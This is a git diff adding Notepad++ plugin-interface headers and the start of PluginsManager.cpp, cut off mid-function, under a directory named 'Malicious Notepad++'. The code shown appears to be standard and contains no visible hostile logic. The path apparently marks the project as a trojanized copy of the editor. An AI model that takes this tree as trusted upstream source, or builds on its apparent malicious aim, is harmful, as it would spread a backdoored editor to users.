choice (plugin menu handle or Notepad++ main menu handle) + + #define NPPM_ENCODESCI (NPPMSG + 26) + //ascii file to unicode + //int NPPM_ENCODESCI(MAIN_VIEW/SUB_VIEW, 0) + //return new unicodeMode + + #define NPPM_DECODESCI (NPPMSG + 27) + //unicode file to ascii + //int NPPM_DECODESCI(MAIN_VIEW/SUB_VIEW, 0) + //return old unicodeMode + + #define NPPM_ACTIVATEDOC (NPPMSG + 28) + //void NPPM_ACTIVATEDOC(int view, int index2Activate) + + #define NPPM_LAUNCHFINDINFILESDLG (NPPMSG + 29) + //void NPPM_LAUNCHFINDINFILESDLG(TCHAR * dir2Search, TCHAR * filtre) + + #define NPPM_DMMSHOW (NPPMSG + 30) + //void NPPM_DMMSHOW(0, tTbData->hClient) + + #define NPPM_DMMHIDE (NPPMSG + 31) + //void NPPM_DMMHIDE(0, tTbData->hClient) + + #define NPPM_DMMUPDATEDISPINFO (NPPMSG + 32) + //void NPPM_DMMUPDATEDISPINFO(0, tTbData->hClient) + + #define NPPM_DMMREGASDCKDLG (NPPMSG + 33) + //void NPPM_DMMREGASDCKDLG(0, &tTbData) + + #define NPPM_LOADSESSION (NPPMSG + 34) + //void NPPM_LOADSESSION(0, const TCHAR* file name) + + #define NPPM_DMMVIEWOTHERTAB (NPPMSG + 35) + //void WM_DMM_VIEWOTHERTAB(0, tTbData->pszName) + + #define NPPM_RELOADFILE (NPPMSG + 36) + //BOOL NPPM_RELOADFILE(BOOL withAlert, TCHAR *filePathName2Reload) + + #define NPPM_SWITCHTOFILE (NPPMSG + 37) + //BOOL NPPM_SWITCHTOFILE(0, TCHAR *filePathName2switch) + + #define NPPM_SAVECURRENTFILE (NPPMSG + 38) + //BOOL NPPM_SAVECURRENTFILE(0, 0) + + #define NPPM_SAVEALLFILES (NPPMSG + 39) + //BOOL NPPM_SAVEALLFILES(0, 0) + + #define NPPM_SETMENUITEMCHECK (NPPMSG + 40) + //void WM_PIMENU_CHECK(UINT funcItem[X]._cmdID, TRUE/FALSE) + + #define NPPM_ADDTOOLBARICON (NPPMSG + 41) + //void WM_ADDTOOLBARICON(UINT funcItem[X]._cmdID, toolbarIcons icon) + struct toolbarIcons { + HBITMAP hToolbarBmp; + HICON hToolbarIcon; + }; + + #define NPPM_GETWINDOWSVERSION (NPPMSG + 42) + //winVer NPPM_GETWINDOWSVERSION(0, 0) + + #define NPPM_DMMGETPLUGINHWNDBYNAME (NPPMSG + 43) + //HWND WM_DMM_GETPLUGINHWNDBYNAME(const TCHAR *windowName, const TCHAR *moduleName) + // if moduleName is NULL, then return value is NULL + // if windowName is NULL, then the first found window handle which matches with the moduleName will be returned + + #define NPPM_MAKECURRENTBUFFERDIRTY (NPPMSG + 44) + //BOOL NPPM_MAKECURRENTBUFFERDIRTY(0, 0) + + #define NPPM_GETENABLETHEMETEXTUREFUNC (NPPMSG + 45) + //BOOL NPPM_GETENABLETHEMETEXTUREFUNC(0, 0) + + #define NPPM_GETPLUGINSCONFIGDIR (NPPMSG + 46) + //void NPPM_GETPLUGINSCONFIGDIR(int strLen, TCHAR *str) + + #define NPPM_MSGTOPLUGIN (NPPMSG + 47) + //BOOL NPPM_MSGTOPLUGIN(TCHAR *destModuleName, CommunicationInfo *info) + // return value is TRUE when the message arrive to the destination plugins. + // if destModule or info is NULL, then return value is FALSE + struct CommunicationInfo { + long internalMsg; + const TCHAR * srcModuleName; + void * info; // defined by plugin + }; + + #define NPPM_MENUCOMMAND (NPPMSG + 48) + //void NPPM_MENUCOMMAND(0, int cmdID) + // uncomment //#include "menuCmdID.h" + // in the beginning of this file then use the command symbols defined in "menuCmdID.h" file + // to access all the Notepad++ menu command items + + #define NPPM_TRIGGERTABBARCONTEXTMENU (NPPMSG + 49) + //void NPPM_TRIGGERTABBARCONTEXTMENU(int view, int index2Activate) + + #define NPPM_GETNPPVERSION (NPPMSG + 50) + // int NPPM_GETNPPVERSION(0, 0) + // return version + // ex : v4.6 + // HIWORD(version) == 4 + // LOWORD(version) == 6 + + #define NPPM_HIDETABBAR (NPPMSG + 51) + // BOOL NPPM_HIDETABBAR(0, BOOL hideOrNot) + // if hideOrNot is set as TRUE then tab bar will be hidden + // otherwise it'll be shown. + // return value : the old status value + + #define NPPM_ISTABBARHIDDEN (NPPMSG + 52) + // BOOL NPPM_ISTABBARHIDDEN(0, 0) + // returned value : TRUE if tab bar is hidden, otherwise FALSE + + #define NPPM_GETPOSFROMBUFFERID (NPPMSG + 57) + // INT NPPM_GETPOSFROMBUFFERID(UINT_PTR bufferID, INT priorityView) + // Return VIEW|INDEX from a buffer ID. -1 if the bufferID non existing + // if priorityView set to SUB_VIEW, then SUB_VIEW will be search firstly + // + // VIEW takes 2 highest bits and INDEX (0 based) takes the rest (30 bits) + // Here's the values for the view : + // MAIN_VIEW 0 + // SUB_VIEW 1 + + #define NPPM_GETFULLPATHFROMBUFFERID (NPPMSG + 58) + // INT NPPM_GETFULLPATHFROMBUFFERID(UINT_PTR bufferID, TCHAR *fullFilePath) + // Get full path file name from a bufferID. + // Return -1 if the bufferID non existing, otherwise the number of TCHAR copied/to copy + // User should call it with fullFilePath be NULL to get the number of TCHAR (not including the nul character), + // allocate fullFilePath with the return values + 1, then call it again to get full path file name + + #define NPPM_GETBUFFERIDFROMPOS (NPPMSG + 59) + // LRESULT NPPM_GETBUFFERIDFROMPOS(INT index, INT iView) + // wParam: Position of document + // lParam: View to use, 0 = Main, 1 = Secondary + // Returns 0 if invalid + + #define NPPM_GETCURRENTBUFFERID (NPPMSG + 60) + // LRESULT NPPM_GETCURRENTBUFFERID(0, 0) + // Returns active Buffer + + #define NPPM_RELOADBUFFERID (NPPMSG + 61) + // VOID NPPM_RELOADBUFFERID(UINT_PTR bufferID, BOOL alert) + // Reloads Buffer + // wParam: Buffer to reload + // lParam: 0 if no alert, else alert + + + #define NPPM_GETBUFFERLANGTYPE (NPPMSG + 64) + // INT NPPM_GETBUFFERLANGTYPE(UINT_PTR bufferID, 0) + // wParam: BufferID to get LangType from + // lParam: 0 + // Returns as int, see LangType. -1 on error + + #define NPPM_SETBUFFERLANGTYPE (NPPMSG + 65) + // BOOL NPPM_SETBUFFERLANGTYPE(UINT_PTR bufferID, INT langType) + // wParam: BufferID to set LangType of + // lParam: LangType + // Returns TRUE on success, FALSE otherwise + // use int, see LangType for possible values + // L_USER and L_EXTERNAL are not supported + + #define NPPM_GETBUFFERENCODING (NPPMSG + 66) + // INT NPPM_GETBUFFERENCODING(UINT_PTR bufferID, 0) + // wParam: BufferID to get encoding from + // lParam: 0 + // returns as int, see UniMode. -1 on error + + #define NPPM_SETBUFFERENCODING (NPPMSG + 67) + // BOOL NPPM_SETBUFFERENCODING(UINT_PTR bufferID, INT encoding) + // wParam: BufferID to set encoding of + // lParam: encoding + // Returns TRUE on success, FALSE otherwise + // use int, see UniMode + // Can only be done on new, unedited files + + #define NPPM_GETBUFFERFORMAT (NPPMSG + 68) + // INT NPPM_GETBUFFERFORMAT(UINT_PTR bufferID, 0) + // wParam: BufferID to get EolType format from + // lParam: 0 + // returns as int, see EolType format. -1 on error + + #define NPPM_SETBUFFERFORMAT (NPPMSG + 69) + // BOOL NPPM_SETBUFFERFORMAT(UINT_PTR bufferID, INT format) + // wParam: BufferID to set EolType format of + // lParam: format + // Returns TRUE on success, FALSE otherwise + // use int, see EolType format + + + #define NPPM_HIDETOOLBAR (NPPMSG + 70) + // BOOL NPPM_HIDETOOLBAR(0, BOOL hideOrNot) + // if hideOrNot is set as TRUE then tool bar will be hidden + // otherwise it'll be shown. + // return value : the old status value + + #define NPPM_ISTOOLBARHIDDEN (NPPMSG + 71) + // BOOL NPPM_ISTOOLBARHIDDEN(0, 0) + // returned value : TRUE if tool bar is hidden, otherwise FALSE + + #define NPPM_HIDEMENU (NPPMSG + 72) + // BOOL NPPM_HIDEMENU(0, BOOL hideOrNot) + // if hideOrNot is set as TRUE then menu will be hidden + // otherwise it'll be shown. + // return value : the old status value + + #define NPPM_ISMENUHIDDEN (NPPMSG + 73) + // BOOL NPPM_ISMENUHIDDEN(0, 0) + // returned value : TRUE if menu is hidden, otherwise FALSE + + #define NPPM_HIDESTATUSBAR (NPPMSG + 74) + // BOOL NPPM_HIDESTATUSBAR(0, BOOL hideOrNot) + // if hideOrNot is set as TRUE then STATUSBAR will be hidden + // otherwise it'll be shown. + // return value : the old status value + + #define NPPM_ISSTATUSBARHIDDEN (NPPMSG + 75) + // BOOL NPPM_ISSTATUSBARHIDDEN(0, 0) + // returned value : TRUE if STATUSBAR is hidden, otherwise FALSE + + #define NPPM_GETSHORTCUTBYCMDID (NPPMSG + 76) + // BOOL NPPM_GETSHORTCUTBYCMDID(int cmdID, ShortcutKey *sk) + // get your plugin command current mapped shortcut into sk via cmdID + // You may need it after getting NPPN_READY notification + // returned value : TRUE if this function call is successful and shortcut is enable, otherwise FALSE + + #define NPPM_DOOPEN (NPPMSG + 77) + // BOOL NPPM_DOOPEN(0, const TCHAR *fullPathName2Open) + // fullPathName2Open indicates the full file path name to be opened. + // The return value is TRUE (1) if the operation is successful, otherwise FALSE (0). + + #define NPPM_SAVECURRENTFILEAS (NPPMSG + 78) + // BOOL NPPM_SAVECURRENTFILEAS (BOOL asCopy, const TCHAR* filename) + + #define NPPM_GETCURRENTNATIVELANGENCODING (NPPMSG + 79) + // INT NPPM_GETCURRENTNATIVELANGENCODING(0, 0) + // returned value : the current native language encoding + + #define NPPM_ALLOCATESUPPORTED (NPPMSG + 80) + // returns TRUE if NPPM_ALLOCATECMDID is supported + // Use to identify if subclassing is necessary + + #define NPPM_ALLOCATECMDID (NPPMSG + 81) + // BOOL NPPM_ALLOCATECMDID(int numberRequested, int* startNumber) + // sets startNumber to the initial command ID if successful + // Returns: TRUE if successful, FALSE otherwise. startNumber will also be set to 0 if unsuccessful + + #define NPPM_ALLOCATEMARKER (NPPMSG + 82) + // BOOL NPPM_ALLOCATEMARKER(int numberRequested, int* startNumber) + // sets startNumber to the initial command ID if successful + // Allocates a marker number to a plugin + // Returns: TRUE if successful, FALSE otherwise. startNumber will also be set to 0 if unsuccessful + + #define NPPM_GETLANGUAGENAME (NPPMSG + 83) + // INT NPPM_GETLANGUAGENAME(int langType, TCHAR *langName) + // Get programming language name from the given language type (LangType) + // Return value is the number of copied character / number of character to copy (\0 is not included) + // You should call this function 2 times - the first time you pass langName as NULL to get the number of characters to copy. + // You allocate a buffer of the length of (the number of characters + 1) then call NPPM_GETLANGUAGENAME function the 2nd time + // by passing allocated buffer as argument langName + + #define NPPM_GETLANGUAGEDESC (NPPMSG + 84) + // INT NPPM_GETLANGUAGEDESC(int langType, TCHAR *langDesc) + // Get programming language short description from the given language type (LangType) + // Return value is the number of copied character / number of character to copy (\0 is not included) + // You should call this function 2 times - the first time you pass langDesc as NULL to get the number of characters to copy. + // You allocate a buffer of the length of (the number of characters + 1) then call NPPM_GETLANGUAGEDESC function the 2nd time + // by passing allocated buffer as argument langDesc + + #define NPPM_SHOWDOCSWITCHER (NPPMSG + 85) + // VOID NPPM_ISDOCSWITCHERSHOWN(0, BOOL toShowOrNot) + // Send this message to show or hide doc switcher. + // if toShowOrNot is TRUE then show doc switcher, otherwise hide it. + + #define NPPM_ISDOCSWITCHERSHOWN (NPPMSG + 86) + // BOOL NPPM_ISDOCSWITCHERSHOWN(0, 0) + // Check to see if doc switcher is shown. + + #define NPPM_GETAPPDATAPLUGINSALLOWED (NPPMSG + 87) + // BOOL NPPM_GETAPPDATAPLUGINSALLOWED(0, 0) + // Check to see if loading plugins from "%APPDATA%\Notepad++\plugins" is allowed. + + #define NPPM_GETCURRENTVIEW (NPPMSG + 88) + // INT NPPM_GETCURRENTVIEW(0, 0) + // Return: current edit view of Notepad++. Only 2 possible values: 0 = Main, 1 = Secondary + + #define NPPM_DOCSWITCHERDISABLECOLUMN (NPPMSG + 89) + // VOID NPPM_DOCSWITCHERDISABLECOLUMN(0, BOOL disableOrNot) + // Disable or enable extension column of doc switcher + + #define NPPM_GETEDITORDEFAULTFOREGROUNDCOLOR (NPPMSG + 90) + // INT NPPM_GETEDITORDEFAULTFOREGROUNDCOLOR(0, 0) + // Return: current editor default foreground color. You should convert the returned value in COLORREF + + #define NPPM_GETEDITORDEFAULTBACKGROUNDCOLOR (NPPMSG + 91) + // INT NPPM_GETEDITORDEFAULTBACKGROUNDCOLOR(0, 0) + // Return: current editor default background color. You should convert the returned value in COLORREF + + #define NPPM_SETSMOOTHFONT (NPPMSG + 92) + // VOID NPPM_SETSMOOTHFONT(0, BOOL setSmoothFontOrNot) + + #define NPPM_SETEDITORBORDEREDGE (NPPMSG + 93) + // VOID NPPM_SETEDITORBORDEREDGE(0, BOOL withEditorBorderEdgeOrNot) + + #define NPPM_SAVEFILE (NPPMSG + 94) + // VOID NPPM_SAVEFILE(0, const TCHAR *fileNameToSave) + + #define NPPM_DISABLEAUTOUPDATE (NPPMSG + 95) // 2119 in decimal + // VOID NPPM_DISABLEAUTOUPDATE(0, 0) + +#define RUNCOMMAND_USER (WM_USER + 3000) + #define NPPM_GETFULLCURRENTPATH (RUNCOMMAND_USER + FULL_CURRENT_PATH) + #define NPPM_GETCURRENTDIRECTORY (RUNCOMMAND_USER + CURRENT_DIRECTORY) + #define NPPM_GETFILENAME (RUNCOMMAND_USER + FILE_NAME) + #define NPPM_GETNAMEPART (RUNCOMMAND_USER + NAME_PART) + #define NPPM_GETEXTPART (RUNCOMMAND_USER + EXT_PART) + #define NPPM_GETCURRENTWORD (RUNCOMMAND_USER + CURRENT_WORD) + #define NPPM_GETNPPDIRECTORY (RUNCOMMAND_USER + NPP_DIRECTORY) + #define NPPM_GETFILENAMEATCURSOR (RUNCOMMAND_USER + GETFILENAMEATCURSOR) + // BOOL NPPM_GETXXXXXXXXXXXXXXXX(size_t strLen, TCHAR *str) + // where str is the allocated TCHAR array, + // strLen is the allocated array size + // The return value is TRUE when get generic_string operation success + // Otherwise (allocated array size is too small) FALSE + + #define NPPM_GETCURRENTLINE (RUNCOMMAND_USER + CURRENT_LINE) + // INT NPPM_GETCURRENTLINE(0, 0) + // return the caret current position line + #define NPPM_GETCURRENTCOLUMN (RUNCOMMAND_USER + CURRENT_COLUMN) + // INT NPPM_GETCURRENTCOLUMN(0, 0) + // return the caret current position column + + #define NPPM_GETNPPFULLFILEPATH (RUNCOMMAND_USER + NPP_FULL_FILE_PATH) + + #define VAR_NOT_RECOGNIZED 0 + #define FULL_CURRENT_PATH 1 + #define CURRENT_DIRECTORY 2 + #define FILE_NAME 3 + #define NAME_PART 4 + #define EXT_PART 5 + #define CURRENT_WORD 6 + #define NPP_DIRECTORY 7 + #define CURRENT_LINE 8 + #define CURRENT_COLUMN 9 + #define NPP_FULL_FILE_PATH 10 + #define GETFILENAMEATCURSOR 11 + + +// Notification code +#define NPPN_FIRST 1000 + #define NPPN_READY (NPPN_FIRST + 1) // To notify plugins that all the procedures of launchment of notepad++ are done. + //scnNotification->nmhdr.code = NPPN_READY; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = 0; + + #define NPPN_TBMODIFICATION (NPPN_FIRST + 2) // To notify plugins that toolbar icons can be registered + //scnNotification->nmhdr.code = NPPN_TB_MODIFICATION; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = 0; + + #define NPPN_FILEBEFORECLOSE (NPPN_FIRST + 3) // To notify plugins that the current file is about to be closed + //scnNotification->nmhdr.code = NPPN_FILEBEFORECLOSE; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILEOPENED (NPPN_FIRST + 4) // To notify plugins that the current file is just opened + //scnNotification->nmhdr.code = NPPN_FILEOPENED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILECLOSED (NPPN_FIRST + 5) // To notify plugins that the current file is just closed + //scnNotification->nmhdr.code = NPPN_FILECLOSED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILEBEFOREOPEN (NPPN_FIRST + 6) // To notify plugins that the current file is about to be opened + //scnNotification->nmhdr.code = NPPN_FILEBEFOREOPEN; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILEBEFORESAVE (NPPN_FIRST + 7) // To notify plugins that the current file is about to be saved + //scnNotification->nmhdr.code = NPPN_FILEBEFOREOPEN; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILESAVED (NPPN_FIRST + 8) // To notify plugins that the current file is just saved + //scnNotification->nmhdr.code = NPPN_FILESAVED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_SHUTDOWN (NPPN_FIRST + 9) // To notify plugins that Notepad++ is about to be shutdowned. + //scnNotification->nmhdr.code = NPPN_SHUTDOWN; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = 0; + + #define NPPN_BUFFERACTIVATED (NPPN_FIRST + 10) // To notify plugins that a buffer was activated (put to foreground). + //scnNotification->nmhdr.code = NPPN_BUFFERACTIVATED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = activatedBufferID; + + #define NPPN_LANGCHANGED (NPPN_FIRST + 11) // To notify plugins that the language in the current doc is just changed. + //scnNotification->nmhdr.code = NPPN_LANGCHANGED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = currentBufferID; + + #define NPPN_WORDSTYLESUPDATED (NPPN_FIRST + 12) // To notify plugins that user initiated a WordStyleDlg change. + //scnNotification->nmhdr.code = NPPN_WORDSTYLESUPDATED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = currentBufferID; + + #define NPPN_SHORTCUTREMAPPED (NPPN_FIRST + 13) // To notify plugins that plugin command shortcut is remapped. + //scnNotification->nmhdr.code = NPPN_SHORTCUTSREMAPPED; + //scnNotification->nmhdr.hwndFrom = ShortcutKeyStructurePointer; + //scnNotification->nmhdr.idFrom = cmdID; + //where ShortcutKeyStructurePointer is pointer of struct ShortcutKey: + //struct ShortcutKey { + // bool _isCtrl; + // bool _isAlt; + // bool _isShift; + // UCHAR _key; + //}; + + #define NPPN_FILEBEFORELOAD (NPPN_FIRST + 14) // To notify plugins that the current file is about to be loaded + //scnNotification->nmhdr.code = NPPN_FILEBEFOREOPEN; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = NULL; + + #define NPPN_FILELOADFAILED (NPPN_FIRST + 15) // To notify plugins that file open operation failed + //scnNotification->nmhdr.code = NPPN_FILEOPENFAILED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_READONLYCHANGED (NPPN_FIRST + 16) // To notify plugins that current document change the readonly status, + //scnNotification->nmhdr.code = NPPN_READONLYCHANGED; + //scnNotification->nmhdr.hwndFrom = bufferID; + //scnNotification->nmhdr.idFrom = docStatus; + // where bufferID is BufferID + // docStatus can be combined by DOCSTATUS_READONLY and DOCSTATUS_BUFFERDIRTY + + #define DOCSTATUS_READONLY 1 + #define DOCSTATUS_BUFFERDIRTY 2 + + #define NPPN_DOCORDERCHANGED (NPPN_FIRST + 17) // To notify plugins that document order is changed + //scnNotification->nmhdr.code = NPPN_DOCORDERCHANGED; + //scnNotification->nmhdr.hwndFrom = newIndex; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_SNAPSHOTDIRTYFILELOADED (NPPN_FIRST + 18) // To notify plugins that a snapshot dirty file is loaded on startup + //scnNotification->nmhdr.code = NPPN_SNAPSHOTDIRTYFILELOADED; + //scnNotification->nmhdr.hwndFrom = NULL; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_BEFORESHUTDOWN (NPPN_FIRST + 19) // To notify plugins that Npp shutdown has been triggered, files have not been closed yet + //scnNotification->nmhdr.code = NPPN_BEFORESHUTDOWN; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = 0; + + #define NPPN_CANCELSHUTDOWN (NPPN_FIRST + 20) // To notify plugins that Npp shutdown has been cancelled + //scnNotification->nmhdr.code = NPPN_CANCELSHUTDOWN; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = 0; + + #define NPPN_FILEBEFORERENAME (NPPN_FIRST + 21) // To notify plugins that file is to be renamed + //scnNotification->nmhdr.code = NPPN_FILEBEFORERENAME; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILERENAMECANCEL (NPPN_FIRST + 22) // To notify plugins that file rename has been cancelled + //scnNotification->nmhdr.code = NPPN_FILERENAMECANCEL; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILERENAMED (NPPN_FIRST + 23) // To notify plugins that file has been renamed + //scnNotification->nmhdr.code = NPPN_FILERENAMED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILEBEFOREDELETE (NPPN_FIRST + 24) // To notify plugins that file is to be deleted + //scnNotification->nmhdr.code = NPPN_FILEBEFOREDELETE; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILEDELETEFAILED (NPPN_FIRST + 25) // To notify plugins that file deletion has failed + //scnNotification->nmhdr.code = NPPN_FILEDELETEFAILED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + + #define NPPN_FILEDELETED (NPPN_FIRST + 26) // To notify plugins that file has been deleted + //scnNotification->nmhdr.code = NPPN_FILEDELETED; + //scnNotification->nmhdr.hwndFrom = hwndNpp; + //scnNotification->nmhdr.idFrom = BufferID; + +#endif //NOTEPAD_PLUS_MSGS_H diff --git a/Malicious Notepad++/src/MISC/PluginsManager/PluginInterface.h b/Malicious Notepad++/src/MISC/PluginsManager/PluginInterface.h new file mode 100644 index 0000000..4ec81f3 --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/PluginInterface.h @@ -0,0 +1,87 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef PLUGININTERFACE_H +#define PLUGININTERFACE_H + +#ifndef SCINTILLA_H +#include "Scintilla.h" +#endif //SCINTILLA_H + +#ifndef NOTEPAD_PLUS_MSGS_H +#include "Notepad_plus_msgs.h" +#endif //NOTEPAD_PLUS_MSGS_H + +const int nbChar = 64; + +typedef const TCHAR * (__cdecl * PFUNCGETNAME)(); + +struct NppData +{ + HWND _nppHandle; + HWND _scintillaMainHandle; + HWND _scintillaSecondHandle; +}; + +typedef void (__cdecl * PFUNCSETINFO)(NppData); +typedef void (__cdecl * PFUNCPLUGINCMD)(); +typedef void (__cdecl * PBENOTIFIED)(SCNotification *); +typedef LRESULT (__cdecl * PMESSAGEPROC)(UINT Message, WPARAM wParam, LPARAM lParam); + + +struct ShortcutKey +{ + bool _isCtrl; + bool _isAlt; + bool _isShift; + UCHAR _key; +}; + +struct FuncItem +{ + TCHAR _itemName[nbChar]; + PFUNCPLUGINCMD _pFunc; + int _cmdID; + bool _init2Check; + ShortcutKey *_pShKey; +}; + +typedef FuncItem * (__cdecl * PFUNCGETFUNCSARRAY)(int *); + +// You should implement (or define an empty function body) those functions which are called by Notepad++ plugin manager +extern "C" __declspec(dllexport) void setInfo(NppData); +extern "C" __declspec(dllexport) const TCHAR * getName(); +extern "C" __declspec(dllexport) FuncItem * getFuncsArray(int *); +extern "C" __declspec(dllexport) void beNotified(SCNotification *); +extern "C" __declspec(dllexport) LRESULT messageProc(UINT Message, WPARAM wParam, LPARAM lParam); + +// This API return always true now, since Notepad++ isn't compiled in ANSI mode anymore +extern "C" __declspec(dllexport) BOOL isUnicode(); + + +#endif //PLUGININTERFACE_H diff --git a/Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.cpp b/Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.cpp new file mode 100644 index 0000000..5cfb363 --- /dev/null +++ b/Malicious Notepad++/src/MISC/PluginsManager/PluginsManager.cpp @@ -0,0 +1,689 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include +#include "PluginsManager.h" +#include "resource.h" + +using namespace std; + +const TCHAR * USERMSG = TEXT(" is not compatible with the current version of Notepad++.\n\n\ +Do you want to remove this plugin from the plugins directory to prevent this message from the next launch?"); + +#ifdef _WIN64 +#define ARCH_TYPE IMAGE_FILE_MACHINE_AMD64 +const TCHAR *ARCH_ERR_MSG = TEXT("Cannot load 32-bit plugin."); +#else +#define ARCH_TYPE IMAGE_FILE_MACHINE_I386 +const TCHAR *ARCH_ERR_MSG = TEXT("Cannot load 64-bit plugin."); +#endif + + + + +bool PluginsManager::unloadPlugin(int index, HWND nppHandle) +{ + SCNotification scnN; + scnN.nmhdr.code = NPPN_SHUTDOWN; + scnN.nmhdr.hwndFrom = nppHandle; + scnN.nmhdr.idFrom = 0; + _pluginInfos[index]->_pBeNotified(&scnN); + + //::DestroyMenu(_pluginInfos[index]->_pluginMenu); + //_pluginInfos[index]->_pluginMenu = NULL; + + if (::FreeLibrary(_pluginInfos[index]->_hLib)) + { + _pluginInfos[index]->_hLib = nullptr; + printStr(TEXT("we're good")); + } + else + printStr(TEXT("not ok")); + + //delete _pluginInfos[index]; +// printInt(index); + //vector::iterator it = _pluginInfos.begin() + index; + //_pluginInfos.erase(it); + //printStr(TEXT("remove")); + return true; +} + +static WORD GetBinaryArchitectureType(const TCHAR *filePath) +{ + WORD machine_type = IMAGE_FILE_MACHINE_UNKNOWN; + HANDLE hMapping = NULL; + LPVOID addrHeader = NULL; + + HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hFile == INVALID_HANDLE_VALUE) + goto cleanup; + + hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); + if (hMapping == NULL) + goto cleanup; + + addrHeader = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); + if (addrHeader == NULL) + goto cleanup; // couldn't memory map the file + + PIMAGE_NT_HEADERS peHdr = ImageNtHeader(addrHeader); + if (peHdr == NULL) + goto cleanup; // couldn't read the header + + // Found the binary and architecture type + machine_type = peHdr->FileHeader.Machine; + +cleanup: // release all of our handles + if (addrHeader != NULL) + UnmapViewOfFile(addrHeader); + + if (hMapping != NULL) + CloseHandle(hMapping); + + if (hFile != INVALID_HANDLE_VALUE) + CloseHandle(hFile); + + return machine_type; +} + +int PluginsManager::loadPlugin(const TCHAR *pluginFilePath, vector & dll2Remove) +{ + const TCHAR *pluginFileName = ::PathFindFileName(pluginFilePath); + if (isInLoadedDlls(pluginFileName)) + return 0; + + NppParameters * nppParams = NppParameters::getInstance(); + + PluginInfo *pi = new PluginInfo; + try + { + pi->_moduleName = pluginFileName; + + if (GetBinaryArchitectureType(pluginFilePath) != ARCH_TYPE) + throw generic_string(ARCH_ERR_MSG); + + pi->_hLib = ::LoadLibrary(pluginFilePath); + if (!pi->_hLib) + { + generic_string lastErrorMsg = GetLastErrorAsString(); + if (lastErrorMsg.empty()) + throw generic_string(TEXT("Load Library has failed.\nChanging the project's \"Runtime Library\" setting to \"Multi-threaded(/MT)\" might solve this problem.")); + else + throw generic_string(lastErrorMsg.c_str()); + } + + pi->_pFuncIsUnicode = (PFUNCISUNICODE)GetProcAddress(pi->_hLib, "isUnicode"); + if (!pi->_pFuncIsUnicode || !pi->_pFuncIsUnicode()) + throw 